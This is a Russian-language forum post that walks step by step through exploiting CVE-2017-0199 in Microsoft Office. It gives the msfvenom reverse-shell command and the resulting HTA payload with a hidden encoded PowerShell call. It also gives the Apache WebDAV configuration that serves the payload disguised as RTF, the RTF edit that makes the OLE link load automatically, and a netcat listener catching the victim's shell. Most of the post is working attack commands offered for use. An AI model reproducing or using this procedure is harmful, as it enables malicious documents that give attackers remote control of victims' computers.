Тестирования уязвимости в продукции Microsoft Office - CVE-2017-0199

Admin

Admin

Original poster
Administrator
Сообщения
916
Реакции
753
Посетить сайт
Эксплуатация CVE-2017-0199​
Благодаря

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.
стало известно об эксплуатации CVE-2017-0199 в различных компаниях по распространению вирусов (например Dridex).
Уязвимость заключается в использовании OLEv2-ссылок в теле документа.
Итак, а что это за объекты OLEv2? Это в основном объект (файл), который мы включаем в наш файл, и его содержимое будет загружено в документ при открытии. Короче: файл внутри файла.

Этап 1:
На первом этапе мы создадим HTA-файл (это тип файла, который является по факту html-приложением, которое способно интерпретировать Jscript\Vbscript-код).
Для примера мы назовем файл myhta.hta:
HTML: 
<!DOCTYPE html>
<html>
 <head>
  <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
  <title>CVE-2017-0199</title>
  <script language="VBScript">
   ТУТ БУДЕТ ВАШ КОД
  </script>
  <hta:application id="oHTA" applicationname="CVE-2017-0199" application="yes">
  </hta:application>
 </head>
 <body>
 </body>
</html>
Итак, это базовое приложение HTA, без какого-либо пейлоада.
Теперь нам нужно сгенерировать наш vbscript-код для включения в этот hta-файл.
Код: 
# msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=192.168.1.213 LPORT=21747 -f hta-psh
В результате мы получаем следующий пейлоад:
Код: 
<script language="VBScript">
Set jkq = CreateObject("Wscript.Shell")
Set bMB = CreateObject("Scripting.FileSystemObject")
If bMB.FileExists(jkq.ExpandEnvironmentStrings("%PSModulePath%")+"..\powershell.exe") Then
jkq.Run "powershell.exe -nop -w hidden -e aQBmACgAWw...ACkAOwA="
End If
</script>
Добавьте этот скрипт в hta-файл:
HTML: 
<!DOCTYPE html>
<html>
 <head>
  <meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
  <title>CVE-2017-0199</title>
  <script language="VBScript">
   Set jkq = CreateObject("Wscript.Shell")
   jkq.Run "powershell.exe -nop -w hidden -e aQBmACgAWw...ACkAOwA="
  </script>
  <hta:application id="oHTA" applicationname="CVE-2017-0199" application="yes">
  </hta:application>
 </head>
 <body>
 </body>
</html>
Обратите внимание, что мы удалили некоторые строки из нашего скрипта, поскольку в данном случае в них нет необходимости для запуска powershell (Если кто-нибудь знает, почему, пожалуйста, дайте мне знать).

Итак, теперь у нас есть наш hta-файл, с нашим пейлоадом в виде реверсивного шелла.

Этап 2:
Следующим шагом на необходимо создать простой RTF-документ используя Windows Word, с любым содержимым внутри. В этом примере вы можете написать "Это просто тест!" и сохранить с названием myrtf.rtf.

Хорошо. Теперь у вас имеется 2 документа, которые вы должны загрузить на веб-сервер:
Код: 
/var/www/html/ms# ls
myhta.hta myrtf.rtf

Этап 3:
Настройте сервер Apache в качестве WebDAV-сервиса:
Код: 
#a2enmod dav
#a2enmod dav_fs
#a2enmod dav_lock
#a2enmod headers
#service apache2 restart
Далее мы добавим заголовок content-type application/rtf для всех файлов в нашем каталоге /ms и разрешим выполнение запроса PROPFIND, который будет выполнять Microsoft Office.

Для этого откройте файл 000-default.conf расположенный по адресу /etc/apache2/sites-enabled и добавьте в конце следующие строки:
Код: 
<Directory /var/www/html/ms/>
  Header set Content-Type "application/rtf"
</Directory>
<Directory />
  Dav on
</Directory>
После всех изменений не забудьте перезапустить apache сервер:
Код: 
service apache2 restart

Этап 4:
Теперь нам нужно создать другой RTF-файл (тот самый, который мы отправим учебной жертве) и вставить в него ссылку на внешний rtf-файл.

Создайте документ с именем research-doc.rtf и добавьте в него объект:
Английская локализация: Insert -> Object ("Create from File")
Русская локализация: Вставка -> Объект ("Создание из файла")

В имени файла добавьте URL-адрес (

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.
) и отметьте "Связь с файлом/Link to file":
1.png
Сохраните файл.

Этап 5:
После того, как вы создали файл, вам необходимо отредактировать его для автоматической загрузки OLE-объекта, а именно добавить objupdate между objautlink and rsltpict в файле research-doc.rtf.

Для этого откройте файл через SublimeText или Notepad++, найдите object и проведите следующую операцию:
замените строку:
Код: 
\object\objautlink\rsltpict
на:
Код: 
\object\objautlink\objupdate\rsltpict
Итак, теперь у нас есть наш файл esearch-doc.rtf, который указывает на объект myrtf.rtf, но мы хотим, чтобы он фактически указывал на наш hta-файл.
Переходим к следующему шагу.

Этап 6:
Для этого нам нужно заменить содержимое myrtf.rtf содержимым myhta.hta, а затем изменить заголовок application content-type на hta.

Производим замену содержимого (чтение myhta.hta и перезапись myrtf.rtf):
Код: 
/var/www/html/ms# cat myhta.hta > myrtf.rtf
Отредактируйте конфигурационный файл 000-default.conf, заменив:
Код: 
Header set Content-Type "application/rtf"
на:
Header set Content-Type "application/hta"
После всех изменений не забудьте перезапустить apache сервер:
Код: 
service apache2 restart

Этап 7:
Создайте слушающий порт на вашем сервере и откройте документ на удаленном компьютере, имеющим соединение до сервера research-doc.rtf:
Код: 
# nc -nlvp 21747
Код: 
listening on [any] 21747
connect to [192.168.1.213] from (UNKNOWN) [192.168.1.217] 58028
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\System32>whoami
whoami
desktop-hae3iae\buhletxr
Готово. Мы получили шелл.

Примечание: если вам не нравится расширение .rtf, в вашем окончательном документе research-doc.rtf - переименуйте его, например в файл с расширением .doc, он также будет работать
 
  • Like
Реакции: VAVAN
Для ответа нужно войти/зарегистрироваться
Название темы
Автор Заголовок Раздел Ответы Дата
Emilio_Gaviriya Статья Client Side-уязвимости. Уязвимости и взлом 0
Support81 0-day уязвимости под общим названием BitForge угрожают криптовалютным кошелькам Новости в сети 0
E Хакеры взломали ряд госорганов США с помощью еще одной уязвимости в ПО SolarWinds Новости в сети 0
H Как просканировать любое устройство на уязвимости? Уязвимости и взлом 1
Denik Интересно Хакеры используют уязвимости в почтовом приложении iOS для доступа к криптовалютным кошелькам Новости в сети 2
S Hack the Web. Взламываем сайт. Используем и эксплуатируем уязвимости. Уязвимости и взлом 1
B В новых процессорах Intel нашли версию уязвимости Zombieload Новости в сети 1
M Проверено [ПОКУПКА] уязвимости / Buy vulnerabilities Куплю/Продам 0
M Проекты ФСБ: от деанонимизации пользователей браузера Tor до исследования уязвимости торрентов Новости в сети 2
M Cisco исправила опасные уязвимости в промышленных и корпоративных решениях Новости в сети 0
G Ищем уязвимости в WordPress с помощью plecost Kali Linux 0
Admin Усиливаем ddos атаки с помощью уязвимости в Memcached Полезные статьи 0
S В IoT-устройствах AGFEO обнаружены уязвимости Новости в сети 0
R Серия коротких видео об уязвимости, взломе и способах защиты Полезные статьи 9
P Крадем учетные записи пользователей с помощью уязвимости Полезные статьи 0
Admin В PHP 7 обнаружены три серьезные уязвимости Новости в сети 0
Admin 0day-уязвимости в IP-камерах позволяют превратить устройства в IoT-ботнеты Новости в сети 0
D Легальный заработок на полиграфической продукции Способы заработка 7

Название темы

Верх Низ